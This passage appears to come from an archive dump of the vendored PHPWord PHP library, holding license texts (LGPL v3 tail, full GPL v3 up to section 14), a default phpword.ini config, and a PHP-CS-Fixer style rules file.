
  4. Combined Works.

  You may convey a Combined Work under terms of your choice that,
taken together, effectively do not restrict modification of the
portions of the Library contained in the Combined Work and reverse
engineering for debugging such modifications, if you also do each of
the following:

   a) Give prominent notice with each copy of the Combined Work that
   the Library is used in it and that the Library and its use are
   covered by this License.

   b) Accompany the Combined Work with a copy of the GNU GPL and this license
   document.

   c) For a Combined Work that displays copyright notices during
   execution, include the copyright notice for the Library among
   these notices, as well as a reference directing the user to the
   copies of the GNU GPL and this license document.

   d) Do one of the following:

       0) Convey the Minimal Corresponding Source under the terms of this
       License, and the Corresponding Application Code in a form
       suitable for, and under terms that permit, the user to
       recombine or relink the Application with a modified version of
       the Linked Version to produce a modified Combined Work, in the
       manner specified by section 6 of the GNU GPL for conveying
       Corresponding Source.

       1) Use a suitable shared library mechanism for linking with the
       Library.  A suitable mechanism is one that (a) uses at run time
       a copy of the Library already present on the user's computer
       system, and (b) will operate properly with a modified version
       of the Library that is interface-compatible with the Linked
       Version.

   e) Provide Installation Information, but only if you would otherwise
   be required to provide such information under section 6 of the
   GNU GPL, and only to the extent that such information is
   necessary to install and execute a modified version of the
   Combined Work produced by recombining or relinking the
   Application with a modified version of the Linked Version. (If
   you use option 4d0, the Installation Information must accompany
   the Minimal Corresponding Source and Corresponding Application
   Code. If you use option 4d1, you must provide the Installation
   Information in the manner specified by section 6 of the GNU GPL
   for conveying Corresponding Source.)

  5. Combined Libraries.

  You may place library facilities that are a work based on the
Library side by side in a single library together with other library
facilities that are not Applications and are not covered by this
License, and convey such a combined library under terms of your
choice, if you do both of the following:

   a) Accompany the combined library with a copy of the same work based
   on the Library, uncombined with any other library facilities,
   conveyed under the terms of this License.

   b) Give prominent notice with the combined library that part of it
   is a work based on the Library, and explaining where to find the
   accompanying uncombined form of the same work.

  6. Revised Versions of the GNU Lesser General Public License.

  The Free Software Foundation may publish revised and/or new versions
of the GNU Lesser General Public License from time to time. Such new
versions will be similar in spirit to the present version, but may
differ in detail to address new problems or concerns.

  Each version is given a distinguishing version number. If the
Library as you received it specifies that a certain numbered version
of the GNU Lesser General Public License "or any later version"
applies to it, you have the option of following the terms and
conditions either of that published version or of any later version
published by the Free Software Foundation. If the Library as you
received it does not specify a version number of the GNU Lesser
General Public License, you may choose any version of the GNU Lesser
General Public License ever published by the Free Software Foundation.

  If the Library as you received it specifies that a proxy can decide
whether future versions of the GNU Lesser General Public License shall
apply, that proxy's public statement of acceptance of any version is
permanent authorization for you to choose that version for the
Library.
vendor/phpoffice/phpword/phpword.ini.dist000066600000000611151150442730014621 0ustar00; Default config file for PHPWord
; Copy this file into phpword.ini and use Settings::loadConfig to load

[General]

compatibility         = true
zipClass              = ZipArchive
pdfRendererName       = DomPDF
pdfRendererPath       =
; tempDir               = "C:\PhpWordTemp"
outputEscapingEnabled = false

[Font]

defaultFontName = Arial
defaultFontSize = 10

[Paper]

defaultPaper = "A4"
vendor/phpoffice/phpword/LICENSE000066600000001260151150442730012501 0ustar00PHPWord, a pure PHP library for reading and writing word processing documents.

Copyright (c) 2010-2016 PHPWord.

PHPWord is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License version 3 as published by
the Free Software Foundation.

PHPWord is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Lesser General Public License version 3 for more details.

You should have received a copy of the GNU Lesser General Public License version 3
along with PHPWord. If not, see <http://www.gnu.org/licenses/>.
vendor/phpoffice/phpword/.php-cs-fixer.dist.php000066600000025504151150442730015541 0ustar00<?php

$finder = PhpCsFixer\Finder::create()
    ->notName('pclzip.lib.php')
    ->notName('OLERead.php')
    ->in('samples')
    ->in('src')
    ->in('tests');

$config = new PhpCsFixer\Config();
$config
    ->setRiskyAllowed(true)
    ->setFinder($finder)
    ->setCacheFile(sys_get_temp_dir() . '/php-cs-fixer' . preg_replace('~\W~', '-', __DIR__))
    ->setRules([
        'align_multiline_comment' => true,
        'array_indentation' => true,
        'array_syntax' => ['syntax' => 'short'],
        'backtick_to_shell_exec' => true,
        'binary_operator_spaces' => true,
        'blank_line_after_namespace' => true,
        'blank_line_after_opening_tag' => true,
        'blank_line_before_statement' => true,
        'braces' => true,
        'cast_spaces' => true,
        'class_attributes_separation' => ['elements' => ['method' => 'one', 'property' => 'one']], // const are often grouped with other related const
        'class_definition' => false,
        'class_keyword_remove' => false, // ::class keyword gives us better support in IDE
        'combine_consecutive_issets' => true,
        'combine_consecutive_unsets' => true,
        'combine_nested_dirname' => true,
        'comment_to_phpdoc' => false, // interferes with annotations
        'compact_nullable_typehint' => true,
        'concat_space' => ['spacing' => 'one'],
        'constant_case' => true,
        'date_time_immutable' => false, // Break our unit tests
        'declare_equal_normalize' => true,
        'declare_strict_types' => false, // Too early to adopt strict types
        'dir_constant' => true,
        'doctrine_annotation_array_assignment' => true,
        'doctrine_annotation_braces' => true,
        'doctrine_annotation_indentation' => true,
        'doctrine_annotation_spaces' => true,
        'elseif' => true,
        'encoding' => true,
        'ereg_to_preg' => true,
        'escape_implicit_backslashes' => true,
        'explicit_indirect_variable' => false, // I feel it makes the code actually harder to read
        'explicit_string_variable' => false, // I feel it makes the code actually harder to read
        'final_class' => false, // We need non-final classes
        'final_internal_class' => true,
        'final_public_method_for_abstract_class' => false, // We need non-final methods
        'fopen_flag_order' => true,
        'fopen_flags' => true,
        'full_opening_tag' => true,
        'fully_qualified_strict_types' => true,
        'function_declaration' => true,
        'function_to_constant' => true,
        'function_typehint_space' => true,
        'general_phpdoc_annotation_remove' => ['annotations' => ['access', 'category', 'copyright', 'throws']],
        'global_namespace_import' => true,
        'header_comment' => false, // We don't use common header in all our files
        'heredoc_indentation' => false, // Requires PHP >= 7.3
        'heredoc_to_nowdoc' => false, // Not sure about this one
        'implode_call' => true,
        'include' => true,
        'increment_style' => true,
        'indentation_type' => true,
        'is_null' => true,
        'line_ending' => true,
        'linebreak_after_opening_tag' => true,
        'list_syntax' => ['syntax' => 'short'],
        'logical_operators' => true,
        'lowercase_cast' => true,
        'lowercase_keywords' => true,
        'lowercase_static_reference' => true,
        'magic_constant_casing' => true,
        'magic_method_casing' => true,
        'mb_str_functions' => false, // No, too dangerous to change that
        'method_argument_space' => true,
        'method_chaining_indentation' => true,
        'modernize_types_casting' => true,
        'multiline_comment_opening_closing' => true,
        'multiline_whitespace_before_semicolons' => true,
        'native_constant_invocation' => false, // Micro optimization that look messy
        'native_function_casing' => true,
        'native_function_invocation' => false, // I suppose this would be best, but I am still unconvinced about the visual aspect of it
        'native_function_type_declaration_casing' => true,
        'new_with_braces' => true,
        'no_alias_functions' => true,
        'no_alternative_syntax' => true,
        'no_binary_string' => true,
        'no_blank_lines_after_class_opening' => true,
        'no_blank_lines_after_phpdoc' => true,
        'no_blank_lines_before_namespace' => false, // we want 1 blank line before namespace
        'no_break_comment' => true,
        'no_closing_tag' => true,
        'no_empty_comment' => true,
        'no_empty_phpdoc' => true,
        'no_empty_statement' => true,
        'no_extra_blank_lines' => true,
        'no_homoglyph_names' => true,
        'no_leading_import_slash' => true,
        'no_leading_namespace_whitespace' => true,
        'no_mixed_echo_print' => true,
        'no_multiline_whitespace_around_double_arrow' => true,
        'no_null_property_initialization' => true,
        'no_php4_constructor' => true,
        'no_short_bool_cast' => true,
        'echo_tag_syntax' => ['format' => 'long'],
        'no_singleline_whitespace_before_semicolons' => true,
        'no_spaces_after_function_name' => true,
        'no_spaces_around_offset' => true,
        'no_spaces_inside_parenthesis' => true,
        'no_superfluous_elseif' => false, // Might be risky on a huge code base
        'no_superfluous_phpdoc_tags' => ['allow_mixed' => true],
        'no_trailing_comma_in_list_call' => true,
        'no_trailing_comma_in_singleline_array' => true,
        'no_trailing_whitespace' => true,
        'no_trailing_whitespace_in_comment' => true,
        'no_unneeded_control_parentheses' => true,
        'no_unneeded_curly_braces' => true,
        'no_unneeded_final_method' => true,
        'no_unreachable_default_argument_value' => true,
        'no_unset_cast' => true,
        'no_unset_on_property' => true,
        'no_unused_imports' => true,
        'no_useless_else' => true,
        'no_useless_return' => true,
        'no_whitespace_before_comma_in_array' => true,
        'no_whitespace_in_blank_line' => true,
        'non_printable_character' => true,
        'normalize_index_brace' => true,
        'not_operator_with_space' => false, // No we prefer to keep '!' without spaces
        'not_operator_with_successor_space' => false, // idem
        'nullable_type_declaration_for_default_null_value' => true,
        'object_operator_without_whitespace' => true,
        'ordered_class_elements' => false, // We prefer to keep some freedom
        'ordered_imports' => true,
        'ordered_interfaces' => true,
        'php_unit_construct' => true,
        'php_unit_dedicate_assert' => true,
        'php_unit_dedicate_assert_internal_type' => true,
        'php_unit_expectation' => true,
        'php_unit_fqcn_annotation' => true,
        'php_unit_internal_class' => false, // Because tests are excluded from package
        'php_unit_method_casing' => true,
        'php_unit_mock' => true,
        'php_unit_mock_short_will_return' => true,
        'php_unit_namespaced' => true,
        'php_unit_no_expectation_annotation' => true,
        'phpdoc_order_by_value' => ['annotations' => ['covers']],
        'php_unit_set_up_tear_down_visibility' => true,
        'php_unit_size_class' => false, // That seems extra work to maintain for little benefits
        'php_unit_strict' => false, // We sometime actually need assertEquals
        'php_unit_test_annotation' => true,
        'php_unit_test_case_static_method_calls' => ['call_type' => 'self'],
        'php_unit_test_class_requires_covers' => false, // We don't care as much as we should about coverage
        'phpdoc_add_missing_param_annotation' => false, // Don't add things that bring no value
        'phpdoc_align' => false, // Waste of time
        'phpdoc_annotation_without_dot' => true,
        'phpdoc_indent' => true,
        //'phpdoc_inline_tag' => true,
        'phpdoc_line_span' => false, // Unfortunately our old comments turn even uglier with this
        'phpdoc_no_access' => true,
        'phpdoc_no_alias_tag' => true,
        'phpdoc_no_empty_return' => true,
        'phpdoc_no_package' => true,
        'phpdoc_no_useless_inheritdoc' => true,
        'phpdoc_order' => true,
        'phpdoc_return_self_reference' => true,
        'phpdoc_scalar' => true,
        'phpdoc_separation' => true,
        'phpdoc_single_line_var_spacing' => true,
        'phpdoc_summary' => true,
        'phpdoc_to_comment' => false, // interferes with annotations
        'phpdoc_to_param_type' => false, // Because experimental, but interesting for one shot use
        'phpdoc_to_return_type' => false, // idem
        'phpdoc_trim' => true,
        'phpdoc_trim_consecutive_blank_line_separation' => true,
        'phpdoc_types' => true,
        'phpdoc_types_order' => true,
        'phpdoc_var_annotation_correct_order' => true,
        'phpdoc_var_without_name' => true,
        'pow_to_exponentiation' => true,
        'protected_to_private' => true,
        'psr_autoloading' => true,
        'random_api_migration' => true,
        'return_assignment' => false, // Sometimes useful for clarity or debug
        'return_type_declaration' => true,
        'self_accessor' => true,
        'self_static_accessor' => true,
        'semicolon_after_instruction' => false, // Buggy in `samples/index.php`
        'set_type_to_cast' => true,
        'short_scalar_cast' => true,
        'simple_to_complex_string_variable' => false, // Would differ from TypeScript without obvious advantages
        'simplified_null_return' => false, // Even if technically correct we prefer to be explicit
        'single_blank_line_at_eof' => true,
        'single_blank_line_before_namespace' => true,
        'single_class_element_per_statement' => true,
        'single_import_per_statement' => true,
        'single_line_after_imports' => true,
        'single_line_comment_style' => true,
        'single_line_throw' => false, // I don't see any reason for having a special case for Exception
        'single_quote' => true,
        'single_trait_insert_per_statement' => true,
        'space_after_semicolon' => true,
        'standardize_increment' => true,
        'standardize_not_equals' => true,
        'static_lambda' => false, // Risky if we can't guarantee nobody use `bindTo()`
        'strict_comparison' => false, // No, too dangerous to change that
        'strict_param' => false, // No, too dangerous to change that
        'string_line_ending' => true,
        'switch_case_semicolon_to_colon' => true,
        'switch_case_space' => true,
        'ternary_operator_spaces' => true,
        'ternary_to_null_coalescing' => true,
        'trailing_comma_in_multiline' => true,
        'trim_array_spaces' => true,
        'unary_operator_spaces' => true,
        'visibility_required' => ['elements' => ['property', 'method']], // not const
        'void_return' => true,
        'whitespace_after_comma_in_array' => true,
        'yoda_style' => false,
    ]);

return $config;
vendor/phpoffice/phpword/COPYING000066600000104513151150442730012534 0ustar00                    GNU GENERAL PUBLIC LICENSE
                       Version 3, 29 June 2007

 Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

                            Preamble

  The GNU General Public License is a free, copyleft license for
software and other kinds of works.

  The licenses for most software and other practical works are designed
to take away your freedom to share and change the works.  By contrast,
the GNU General Public License is intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users.  We, the Free Software Foundation, use the
GNU General Public License for most of our software; it applies also to
any other work released this way by its authors.  You can apply it to
your programs, too.

  When we speak of free software, we are referring to freedom, not
price.  Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.

  To protect your rights, we need to prevent others from denying you
these rights or asking you to surrender the rights.  Therefore, you have
certain responsibilities if you distribute copies of the software, or if
you modify it: responsibilities to respect the freedom of others.

  For example, if you distribute copies of such a program, whether
gratis or for a fee, you must pass on to the recipients the same
freedoms that you received.  You must make sure that they, too, receive
or can get the source code.  And you must show them these terms so they
know their rights.

  Developers that use the GNU GPL protect your rights with two steps:
(1) assert copyright on the software, and (2) offer you this License
giving you legal permission to copy, distribute and/or modify it.

  For the developers' and authors' protection, the GPL clearly explains
that there is no warranty for this free software.  For both users' and
authors' sake, the GPL requires that modified versions be marked as
changed, so that their problems will not be attributed erroneously to
authors of previous versions.

  Some devices are designed to deny users access to install or run
modified versions of the software inside them, although the manufacturer
can do so.  This is fundamentally incompatible with the aim of
protecting users' freedom to change the software.  The systematic
pattern of such abuse occurs in the area of products for individuals to
use, which is precisely where it is most unacceptable.  Therefore, we
have designed this version of the GPL to prohibit the practice for those
products.  If such problems arise substantially in other domains, we
stand ready to extend this provision to those domains in future versions
of the GPL, as needed to protect the freedom of users.

  Finally, every program is threatened constantly by software patents.
States should not allow patents to restrict development and use of
software on general-purpose computers, but in those that do, we wish to
avoid the special danger that patents applied to a free program could
make it effectively proprietary.  To prevent this, the GPL assures that
patents cannot be used to render the program non-free.

  The precise terms and conditions for copying, distribution and
modification follow.

                       TERMS AND CONDITIONS

  0. Definitions.

  "This License" refers to version 3 of the GNU General Public License.

  "Copyright" also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.

  "The Program" refers to any copyrightable work licensed under this
License.  Each licensee is addressed as "you".  "Licensees" and
"recipients" may be individuals or organizations.

  To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy.  The resulting work is called a "modified version" of the
earlier work or a work "based on" the earlier work.

  A "covered work" means either the unmodified Program or a work based
on the Program.

  To "propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy.  Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.

  To "convey" a work means any kind of propagation that enables other
parties to make or receive copies.  Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.

  An interactive user interface displays "Appropriate Legal Notices"
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License.  If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.

  1. Source Code.

  The "source code" for a work means the preferred form of the work
for making modifications to it.  "Object code" means any non-source
form of a work.

  A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.

  The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form.  A
"Major Component", in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.

  The "Corresponding Source" for a work in object code form means all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities.  However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work.  For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.

  The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.

  The Corresponding Source for a work in source code form is that
same work.

  2. Basic Permissions.

  All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met.  This License explicitly affirms your unlimited
permission to run the unmodified Program.  The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work.  This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.

  You may make, run and propagate covered works that you do not
convey, without conditions so long as your license otherwise remains
in force.  You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
the terms of this License in conveying all material for which you do
not control copyright.  Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.

  Conveying under any other circumstances is permitted solely under
the conditions stated below.  Sublicensing is not allowed; section 10
makes it unnecessary.

  3. Protecting Users' Legal Rights From Anti-Circumvention Law.

  No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.

  When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
technological measures.

  4. Conveying Verbatim Copies.

  You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.

  You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.

  5. Conveying Modified Source Versions.

  You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:

    a) The work must carry prominent notices stating that you modified
    it, and giving a relevant date.

    b) The work must carry prominent notices stating that it is
    released under this License and any conditions added under section
    7.  This requirement modifies the requirement in section 4 to
    "keep intact all notices".

    c) You must license the entire work, as a whole, under this
    License to anyone who comes into possession of a copy.  This
    License will therefore apply, along with any applicable section 7
    additional terms, to the whole of the work, and all its parts,
    regardless of how they are packaged.  This License gives no
    permission to license the work in any other way, but it does not
    invalidate such permission if you have separately received it.

    d) If the work has interactive user interfaces, each must display
    Appropriate Legal Notices; however, if the Program has interactive
    interfaces that do not display Appropriate Legal Notices, your
    work need not make them do so.

  A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit.  Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.

  6. Conveying Non-Source Forms.

  You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
in one of these ways:

    a) Convey the object code in, or embodied in, a physical product
    (including a physical distribution medium), accompanied by the
    Corresponding Source fixed on a durable physical medium
    customarily used for software interchange.

    b) Convey the object code in, or embodied in, a physical product
    (including a physical distribution medium), accompanied by a
    written offer, valid for at least three years and valid for as
    long as you offer spare parts or customer support for that product
    model, to give anyone who possesses the object code either (1) a
    copy of the Corresponding Source for all the software in the
    product that is covered by this License, on a durable physical
    medium customarily used for software interchange, for a price no
    more than your reasonable cost of physically performing this
    conveying of source, or (2) access to copy the
    Corresponding Source from a network server at no charge.

    c) Convey individual copies of the object code with a copy of the
    written offer to provide the Corresponding Source.  This
    alternative is allowed only occasionally and noncommercially, and
    only if you received the object code with such an offer, in accord
    with subsection 6b.

    d) Convey the object code by offering access from a designated
    place (gratis or for a charge), and offer equivalent access to the
    Corresponding Source in the same way through the same place at no
    further charge.  You need not require recipients to copy the
    Corresponding Source along with the object code.  If the place to
    copy the object code is a network server, the Corresponding Source
    may be on a different server (operated by you or a third party)
    that supports equivalent copying facilities, provided you maintain
    clear directions next to the object code saying where to find the
    Corresponding Source.  Regardless of what server hosts the
    Corresponding Source, you remain obligated to ensure that it is
    available for as long as needed to satisfy these requirements.

    e) Convey the object code using peer-to-peer transmission, provided
    you inform other peers where the object code and Corresponding
    Source of the work are being offered to the general public at no
    charge under subsection 6d.

  A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.

  A "User Product" is either (1) a "consumer product", which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling.  In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage.  For a particular
product received by a particular user, "normally used" refers to a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product.  A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.

  "Installation Information" for a User Product means any methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source.  The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.

  If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information.  But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).

  The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed.  Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.

  Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.

  7. Additional Terms.

  "Additional permissions" are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law.  If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.

  When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it.  (Additional permissions may be written to require their own
removal in certain cases when you modify the work.)  You may place
additional permissions on material, added by you to a covered work,
for which you have or can give appropriate copyright permission.

  Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:

    a) Disclaiming warranty or limiting liability differently from the
    terms of sections 15 and 16 of this License; or

    b) Requiring preservation of specified reasonable legal notices or
    author attributions in that material or in the Appropriate Legal
    Notices displayed by works containing it; or

    c) Prohibiting misrepresentation of the origin of that material, or
    requiring that modified versions of such material be marked in
    reasonable ways as different from the original version; or

    d) Limiting the use for publicity purposes of names of licensors or
    authors of the material; or

    e) Declining to grant rights under trademark law for use of some
    trade names, trademarks, or service marks; or

    f) Requiring indemnification of licensors and authors of that
    material by anyone who conveys the material (or modified versions of
    it) with contractual assumptions of liability to the recipient, for
    any liability that these contractual assumptions directly impose on
    those licensors and authors.

  All other non-permissive additional terms are considered "further
restrictions" within the meaning of section 10.  If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term.  If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.

  If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.

  Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions;
the above requirements apply either way.

  8. Termination.

  You may not propagate or modify a covered work except as expressly
provided under this License.  Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).

  However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly and
finally terminates your license, and (b) permanently, if the copyright
holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.

  Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.

  Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License.  If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.

  9. Acceptance Not Required for Having Copies.

  You are not required to accept this License in order to receive or
run a copy of the Program.  Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance.  However,
nothing other than this License grants you permission to propagate or
modify any covered work.  These actions infringe copyright if you do
not accept this License.  Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.

  10. Automatic Licensing of Downstream Recipients.

  Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License.  You are not responsible
for enforcing compliance by third parties with this License.

  An "entity transaction" is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations.  If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.

  You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License.  For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.

  11. Patents.

  A "contributor" is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based.  The
work thus licensed is called the contributor's "contributor version".

  A contributor's "essential patent claims" are all patent claims
owned or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version.  For
purposes of this definition, "control" includes the right to grant
patent sublicenses in a manner consistent with the requirements of
this License.

  Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
propagate the contents of its contributor version.

  In the following three paragraphs, a "patent license" is any express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement).  To "grant" such a patent license to a
party means to make such an agreement or commitment not to enforce a
patent against the party.

  If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients.  "Knowingly relying" means you have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.

  If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.

  A patent license is "discriminatory" if it does not include within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
specifically granted under this License.  You may not convey a covered
work if you are a party to an arrangement with a third party that is
in the business of distributing software, under which you make payment
to the third party based on the extent of your activity of conveying
the work, and under which the third party grants, to any of the
parties who would receive the covered work from you, a discriminatory
patent license (a) in connection with copies of the covered work
conveyed by you (or copies made from those copies), or (b) primarily
for and in connection with specific products or compilations that
contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.

  Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.

  12. No Surrender of Others' Freedom.

  If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License.  If you cannot convey a
covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
not convey it at all.  For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.

  13. Use with the GNU Affero General Public License.

  Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU Affero General Public License into a single
combined work, and to convey the resulting work.  The terms of this
License will continue to apply to the part which is the covered work,
but the special requirements of the GNU Affero General Public License,
section 13, concerning interaction through a network will apply to the
combination as such.

  14. Revised Versions of this License.

  The Free Software Foundation may publish revised and/or new versions of
the GNU General Public License from time to time.  Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.

  Each version is given a distinguishing version number.  If the
Program specifies that a certain numbered version of the GNU General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation.  If the Program does not specify a version number of the
GNU General Public License, you may choose any version ever published
by the Free Software Foundation.

  If the Program specifies that a proxy can decide which future
versions of the GNU General Public License can be used, that proxy's
